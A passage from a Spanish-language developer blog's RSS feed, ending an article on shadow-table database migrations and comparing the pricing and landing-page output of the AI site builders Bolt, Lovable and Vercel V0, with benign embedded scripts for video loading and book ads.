&lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;gh-ost&lt;/td&gt;&#xA;          &lt;td&gt;MySQL&lt;/td&gt;&#xA;          &lt;td&gt;Replicación sin triggers&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;pg_repack&lt;/td&gt;&#xA;          &lt;td&gt;PostgreSQL&lt;/td&gt;&#xA;          &lt;td&gt;Reorganización de tablas en línea&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Liquibase&lt;/td&gt;&#xA;          &lt;td&gt;Cross-DB&lt;/td&gt;&#xA;          &lt;td&gt;Seguimiento de cambios&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Debezium&lt;/td&gt;&#xA;          &lt;td&gt;Transmisión CDC&lt;/td&gt;&#xA;          &lt;td&gt;Integración con Kafka&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusión&lt;/h2&gt;&#xA;&lt;p&gt;La estrategia de las shadow tables dista mucho de ser perfecta y pueden ocurrir muchas cosas.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda que cada base de datos y cada aplicación son diferentes. Lo que funciona para tablas con un uso intensivo de lectura puede no funcionar para tablas con un uso intensivo de escritura. Prueba siempre en un entorno que imite lo más fielmente posible el entorno de producción.&lt;/p&gt;&#xA;&lt;p&gt;No temas abortar la migración en el último momento si las cosas no salen según lo previsto, lo importante es que todo siga funcionando, no hacer de héroe.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Imagínate esto: son las 2 de la madrugada, estás implementando un «simple» cambio en el tipo de columna en producción y, de repente, toda tu aplicación se cae porque el bloqueo de la tabla está tardando una eternidad. Tu teléfono empieza a vibrar con notificaciones furiosas de Slack y tú intentas explicar frenéticamente a tu equipo por qué la «migración de 5 minutos» lleva 30 minutos en marcha.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-es-la-estrategia-de-la-shadow-table&#34;&gt;¿Qué es la estrategia de la shadow table?&lt;/h2&gt;&#xA;&lt;p&gt;La estrategia de la shadow table (en español &amp;ldquo;tabla sombra&amp;rdquo;) es como tener un doble para una tabla en tu base de datos. En lugar de modificar directamente la tabla original (y arriesgarte a que tu aplicación colapse), creas una &lt;del&gt;clon sombra&lt;/del&gt; nueva tabla con la estructura deseada, copias gradualmente los datos y luego realizas un cambio rapidísimo.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Bolt vs Lovable vs V0 Vercel Comparando Resultados y Mi Opinion</title>
      <link>https://coffeebytes.dev/es/opinion/bolt-vs-lovable-vs-v0-vercel-comparando-resultados-y-mi-opinion/</link>
      <pubDate>Tue, 03 Jun 2025 16:01:02 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/bolt-vs-lovable-vs-v0-vercel-comparando-resultados-y-mi-opinion/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Todos los influencers de tecnología están esparciendo el FOMO y hablando de herramientas como Bolt, V0 de Vercel, y Lovable. Pero lo entiendo, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;aún estamos en una burbuja de AI&lt;/a&gt;&#xA;. El &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/el-nuevo-dios-el-delirante-culto-a-la-ai-en-redes/&#34;&gt;delirante culto a la IA en redes sociales&lt;/a&gt;&#xA; está fuerte con estos influencers.&lt;/p&gt;&#xA;&lt;p&gt;Sin embargo, a pesar de su valoración poco realista, estoy asombrado de lo que estas herramientas pueden hacer sin necesidad de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;API REST&lt;/a&gt;&#xA; ni integraciones del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;Protocolo de contexto del modelo&lt;/a&gt;&#xA; por parte del usuario.&lt;/p&gt;&#xA;&lt;p&gt;Para el prompt utilicé algo bastante sencillo. Decidí no ser tan específico, porque es el tipo de prompt que utilizaría una persona que no está tan familiarizada con el contexto en los Large Language Models. Y por eso lo mantuve corto, ambiguo y no tan específico.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Create a fancy and highly interactive landing page with cyberpunk vibes and neon colors&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;bolt-vs-lovable-vs-v0-cual-es-el-mejor&#34;&gt;Bolt vs Lovable vs V0 ¿cuál es el mejor?&lt;/h2&gt;&#xA;&lt;p&gt;Comparemos los planes de precios, desde V0, Lovable y Bolt, esta información viene directo de las tablas de precios de cada sitio web, a la fecha de escritura de este artículo. Elegí aquellos aspectos que pueden ser relevantes para aquellos interesados en crear sitios &lt;del&gt;vulnerables&lt;/del&gt; utilizando IA.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Características&lt;/th&gt;&#xA;          &lt;th&gt;V0&lt;/th&gt;&#xA;          &lt;th&gt;Lovable&lt;/th&gt;&#xA;          &lt;th&gt;Bolt&lt;/th&gt;&#xA;          &lt;th&gt;Ganador&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;&amp;ndash;Plan Gratis&amp;ndash;&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Precio&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$0&lt;/td&gt;&#xA;          &lt;td&gt;$0&lt;/td&gt;&#xA;          &lt;td&gt;$0&lt;/td&gt;&#xA;          &lt;td&gt;Todos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Créditos incluidos&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$5 en créditos mensuales&lt;/td&gt;&#xA;          &lt;td&gt;5 diarios (30/mes)&lt;/td&gt;&#xA;          &lt;td&gt;1M tokens/mes&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt; (mayor volumen)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Proyectos públicos&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Sí&lt;/td&gt;&#xA;          &lt;td&gt;Sí&lt;/td&gt;&#xA;          &lt;td&gt;Sí&lt;/td&gt;&#xA;          &lt;td&gt;Todos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Proyectos privados&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;No&lt;/td&gt;&#xA;          &lt;td&gt;No&lt;/td&gt;&#xA;          &lt;td&gt;Sí&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Límite diario&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;5 créditos&lt;/td&gt;&#xA;          &lt;td&gt;150K tokens&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt; (sin límite diario)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Colaboración&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Sincronización con GitHub&lt;/td&gt;&#xA;          &lt;td&gt;Hasta 20 colaboradores&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Lovable&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Acceso a modelos IA&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;v0-1.5-md&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;&amp;ndash;Plan Pro&amp;ndash;&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Precio&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$20/mes&lt;/td&gt;&#xA;          &lt;td&gt;$25/mes&lt;/td&gt;&#xA;          &lt;td&gt;$20/mes&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0/Bolt&lt;/strong&gt; (más económico)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Créditos incluidos&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$20 créditos mensuales&lt;/td&gt;&#xA;          &lt;td&gt;100 créditos mensuales&lt;/td&gt;&#xA;          &lt;td&gt;10M tokens/mes&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt; (mayor volumen)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Proyectos privados&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Sí&lt;/td&gt;&#xA;          &lt;td&gt;Sí&lt;/td&gt;&#xA;          &lt;td&gt;Sí&lt;/td&gt;&#xA;          &lt;td&gt;Todos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Límite de archivos&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;5x mayor que el plan Free&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;100MB (vs 10MB Free)&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Límite diario&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;5 diarios (150/mes)&lt;/td&gt;&#xA;          &lt;td&gt;Sin límite&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt/V0&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Acumulación créditos&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Compra adicional&lt;/td&gt;&#xA;          &lt;td&gt;Sí&lt;/td&gt;&#xA;          &lt;td&gt;Sí (2 meses)&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt; (automático)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Acceso a modelos IA&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;v0-1.5-lg + API&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Características especiales&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Importar desde Figma&lt;/td&gt;&#xA;          &lt;td&gt;Eliminar marca Lovable&lt;/td&gt;&#xA;          &lt;td&gt;Enfoque en eficiencia tokens&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt; (integración Figma)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;&amp;ndash;Plan para Equipos&amp;ndash;&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Precio&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$30/usuario/mes&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;$30/usuario/mes&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0/Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Créditos incluidos&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;$30/usuario/mes&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;10M tokens/usuario/mes&lt;/td&gt;&#xA;          &lt;td&gt;Comparables&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Facturación centralizada&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Sí&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;Sí&lt;/td&gt;&#xA;          &lt;td&gt;Todos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Colaboración&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Chats compartidos&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;Espacio de trabajo en equipo&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt; (estructurado)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Controles administrativos&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;Acceso a nivel de equipo&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;&amp;ndash;Plan Empresarial&amp;ndash;&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Precio&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Personalizado&lt;/td&gt;&#xA;          &lt;td&gt;Personalizado&lt;/td&gt;&#xA;          &lt;td&gt;Personalizado&lt;/td&gt;&#xA;          &lt;td&gt;Todos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;SSO&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;SAML SSO&lt;/td&gt;&#xA;          &lt;td&gt;SSO&lt;/td&gt;&#xA;          &lt;td&gt;SSO + seguridad avanzada&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Soporte&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Dedicado&lt;/td&gt;&#xA;          &lt;td&gt;Dedicado + onboarding&lt;/td&gt;&#xA;          &lt;td&gt;24/7 prioritario&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Lovable/Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Cumplimiento&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Opt-out de entrenamiento&lt;/td&gt;&#xA;          &lt;td&gt;Opt-out de entrenamiento datos&lt;/td&gt;&#xA;          &lt;td&gt;Políticas de gobierno datos&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Personalización&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;Integraciones personalizadas&lt;/td&gt;&#xA;          &lt;td&gt;Flujos personalizados&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Lovable/Bolt&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;&amp;ndash;Diferencias clave&amp;ndash;&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Enfoque IA&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Generación de componentes&lt;/td&gt;&#xA;          &lt;td&gt;Funciones generales de IA&lt;/td&gt;&#xA;          &lt;td&gt;Optimización de tokens IA&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt; (enfoque dev)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Características dev&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Despliegue en Vercel&lt;/td&gt;&#xA;          &lt;td&gt;Dominios personalizados&lt;/td&gt;&#xA;          &lt;td&gt;Sincronización de proyectos&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt; (despliegue)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;UI/Diseño&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Importación desde Figma&lt;/td&gt;&#xA;          &lt;td&gt;Plantillas de diseño&lt;/td&gt;&#xA;          &lt;td&gt;N/A&lt;/td&gt;&#xA;          &lt;td&gt;&lt;strong&gt;V0&lt;/strong&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Ideal para&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Desarrolladores de componentes&lt;/td&gt;&#xA;          &lt;td&gt;Equipos colaborativos&lt;/td&gt;&#xA;          &lt;td&gt;Uso intensivo de IA&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;bolt-vs-lovable-vs-v0-pricing-por-categoria&#34;&gt;Bolt vs Lovable vs V0 pricing por categoria&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mi opinión sobre los ganadores por categoría:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mejor plan gratis:&lt;/strong&gt; Bolt (límites más generosos)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mejor plan Pro:&lt;/strong&gt; Bolt (sin límites diarios, acumulación)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mejores funciones para equipos:&lt;/strong&gt; Bolt (espacio estructurado)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mejor Enterprise:&lt;/strong&gt; Bolt (seguridad integral)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mejor para desarrolladores:&lt;/strong&gt; V0 (generación componentes)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mejor para diseñadores:&lt;/strong&gt; V0 (integración Figma)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Ciertos aspectos que vale la pena resaltar:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bolt destaca en asignación de recursos IA y gestión de equipos&lt;/li&gt;&#xA;&lt;li&gt;V0 es más fuerte en flujos de desarrollo e integración de diseño&lt;/li&gt;&#xA;&lt;li&gt;Lovable ofrece buenas funciones de colaboración en gama media&lt;/li&gt;&#xA;&lt;li&gt;Todas las plataformas ofrecen caminos claros de actualización&lt;/li&gt;&#xA;&lt;li&gt;Los sistemas de tokens/créditos varían significativamente&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;bolt-vs-lovable-vs-v0-resultados&#34;&gt;Bolt vs Lovable vs V0 resultados&lt;/h3&gt;&#xA;&lt;p&gt;La &amp;ldquo;mejor&amp;rdquo; opción depende de tus necesidades, como siempre:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Para &lt;del&gt;forever alone devs&lt;/del&gt; Desarrolladores individuales (solo developers): V0&lt;/li&gt;&#xA;&lt;li&gt;Para Equipos orientados al diseño: Lovable&lt;/li&gt;&#xA;&lt;li&gt;Si requieres uso intensivo de IA: Bolt&lt;/li&gt;&#xA;&lt;li&gt;Para empresas: Bolt o Lovable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;bolt-vs-lovable-vs-vercel-v0-probando-hacer-una-landing-page&#34;&gt;Bolt vs Lovable vs Vercel V0 probando hacer una landing page&lt;/h2&gt;&#xA;&lt;p&gt;El resultado de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://v0.dev/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Vercel V0&lt;/a&gt;&#xA; es bastante decente, pero no extraordinario.&lt;/p&gt;&#xA;&lt;p&gt;La paleta de colores es muy Cyberpunk. Me encantó el fondo cuadriculado, la landing page me pareció un poco simple, pero cumple perfectamente con lo prometido.&lt;/p&gt;&#xA;&lt;div class=&#34;video-embed&#34; style=&#34;width: 100%; margin: 1rem 0;&#34;&gt;&#xA;  &lt;video &#xA;    id=&#34;video-1781383877059360314&#34;&#xA;    &#xA;    controls&#xA;    data-autoplay&#xA;    loop&#xA;    muted&#xA;    preload=&#34;none&#34;&#xA;    data-src=&#34;https://res.cloudinary.com/dwrscezd2/video/upload/v1752634111/coffee-bytes/v0_0_5mb_gkrgvn.mp4&#34;&#xA;    style=&#34;width: 100%; height: auto; border-radius: 4px;&#34;&#xA;  &gt;&#xA;    Your browser does not support the video tag.&#xA;  &lt;/video&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;script&gt;&#xA;  [&#34;DOMContentLoaded&#34;, &#34;htmx:afterSettle&#34;, &#34;htmx:historyRestore&#34;].forEach(event =&gt; document.addEventListener(event, function() {&#xA;  &#xA;  if (!window.videoObserver) {&#xA;    const loadVideo = (video) =&gt; {&#xA;      const source = document.createElement(&#39;source&#39;);&#xA;      source.src = video.dataset.src;&#xA;      source.type = video.dataset.src.endsWith(&#39;.webm&#39;) ? &#39;video/webm&#39; &#xA;               : video.dataset.src.endsWith(&#39;.ogg&#39;) ? &#39;video/ogg&#39; &#xA;               : &#39;video/mp4&#39;;&#xA;      video.appendChild(source);&#xA;      video.load();&#xA;      &#xA;      if (video.hasAttribute(&#39;data-autoplay&#39;)) {&#xA;        video.setAttribute(&#39;autoplay&#39;, &#39;&#39;);&#xA;        video.play().catch(e =&gt; console.log(&#39;Autoplay prevented:&#39;, e));&#xA;      }&#xA;    };&#xA;&#xA;    const observer = new IntersectionObserver((entries) =&gt; {&#xA;      entries.forEach(entry =&gt; {&#xA;        if (entry.isIntersecting) {&#xA;          const video = entry.target;&#xA;          loadVideo(video);&#xA;          observer.unobserve(video);&#xA;        }&#xA;      });&#xA;    }, {&#xA;      rootMargin: &#39;200px&#39;,&#xA;      threshold: 0.1&#xA;    });&#xA;&#xA;    window.videoObserver = observer;&#xA;  }&#xA;&#xA;  &#xA;  const video = document.getElementById(&#39;video-1781383877059360314&#39;);&#xA;  if (video) {&#xA;    window.videoObserver.observe(video);&#xA;  }&#xA;}))&#xA;&lt;/script&gt;&#xA;&lt;h3 id=&#34;tuve-problemas-al-usar-v0-vercel&#34;&gt;Tuve problemas al usar v0-vercel&lt;/h3&gt;&#xA;&lt;p&gt;Desafortunadamente, &lt;strong&gt;enfrenté problemas con la ejecución en local&lt;/strong&gt;, específicamente un par de dependencias que no eran compatibles entre sí, nada muy complicado de resolver.&lt;/p&gt;&#xA;&lt;p&gt;Lo comento porque me pareció bastante extraño dado que en su plataforma todo parecía ir perfecto, pero al momento de querer replicar el proyecto en mi computadora, no funcionó &amp;ldquo;out of the box&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Pero dejando de lado eso, yo creo que está bien logrado y el resultado es sólido.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) 